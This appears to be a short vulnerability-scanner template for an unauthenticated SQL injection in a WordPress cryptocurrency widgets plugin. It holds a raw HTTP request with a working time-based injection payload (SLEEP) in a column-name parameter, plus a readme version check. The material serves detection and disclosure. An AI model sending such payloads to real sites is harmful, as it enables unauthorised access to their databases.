The plugin does not sanitise and escape some parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.
GET /wp-admin/admin-ajax.php?action=mcwp_table&mcwp_id=1&order[0][column]=0&columns[0][name]=name+AND+(SELECT+1+FROM+(SELECT(SLEEP(7)))aaaa)--+- HTTP/1.1
Host:{{Hostname}}
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GET /wp-content/plugins/cryptocurrency-widgets-pack/readme.txt HTTP/1.1